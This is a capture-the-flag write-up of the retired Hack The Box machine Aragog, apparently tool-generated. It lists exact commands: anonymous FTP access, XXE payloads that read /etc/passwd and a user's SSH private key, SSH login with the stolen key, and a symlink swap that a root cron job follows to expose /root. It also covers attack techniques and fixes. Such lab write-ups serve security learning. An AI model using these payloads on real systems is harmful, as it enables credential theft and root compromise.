Aragog
Summary
I exploited anonymous FTP access to retrieve a configuration file disclosing an internal virtual host (aragog.htb). That host's XML-processing PHP endpoint accepted external entity declarations and was vulnerable to XXE injection, which I used to read arbitrary server files — first confirming the vulnerability against /etc/passwd, then exfiltrating local user florian's SSH private key from her home directory. The stolen key provided an authenticated SSH session as florian and the user flag.
Internal enumeration revealed a WordPress dev-wiki subdirectory under the web root configured world-writable (mode 777), and process inspection showed a root-owned cron job periodically running a restore script that operated on that same path. Replacing the directory with a symbolic link pointing to /root and waiting one cron interval caused the restore script to follow the link into /root and propagate permissive permissions onto its contents — making root.txt world-readable and achieving full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 5
nmap -sV -p 21,22,80 $TARGETcurl -s --user anonymous:anonymous ftp://$TARGET/curl -s --user anonymous:anonymous ftp://$TARGET/hosts.xmlecho "$TARGET aragog.htb" | sudo tee -a /etc/hostscurl -si --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.phpFixDisable anonymous FTP or remove internal configuration files from the FTP rootHigh
Exact commands 2
printf '<?xml version="1.0"?>\n<!DOCTYPE details [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>\n<details><subnet_mask>&xxe;</subnet_mask><test></test></details>' > /tmp/passwd_xxe.xmlcurl -s -X POST --data-binary @/tmp/passwd_xxe.xml -H 'Content-Type: application/xml' --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.phpFixDisable XML external entity processing in the PHP XML parserCritical
Exact commands 3
printf '<?xml version="1.0"?>\n<!DOCTYPE details [ <!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa"> ]>\n<details><subnet_mask>&xxe;</subnet_mask><test></test></details>' > /tmp/sshkey_xxe.xmlcurl -s -X POST --data-binary @/tmp/sshkey_xxe.xml -H 'Content-Type: application/xml' --resolve aragog.htb:80:$TARGET http://aragog.htb/hosts.php > /tmp/florian_key_raw.outawk '/-----BEGIN RSA PRIVATE KEY-----/{p=1; sub(/^.*-----BEGIN RSA PRIVATE KEY-----/,"-----BEGIN RSA PRIVATE KEY-----")} p{print} /-----END RSA PRIVATE KEY-----/{p=0}' /tmp/florian_key_raw.out > loot/florian_id_rsa && chmod 600 loot/florian_id_rsaExact commands 2
ssh -i loot/florian_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=8 florian@$TARGETcat /home/florian/user.txtExact commands 4
find /var/www/html -perm -o+w -lsps aux | grep -E 'restore|wp-login|python'grep -E 'DB_USER|DB_PASSWORD' /var/www/html/dev_wiki/wp-config.phpcat /tmp/.wpcredExact commands 3
rm -rf /var/www/html/dev_wikiln -s /root /var/www/html/dev_wikils -la /var/www/html/dev_wikiFixRemove world-write permissions from web-served directoriesCritical
Exact commands 2
while true; do ls -la /root/root.txt 2>/dev/null && echo 'READABLE' && break; sleep 20; donecat /root/root.txtFixHarden the root cron restore script against symlink traversalCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 |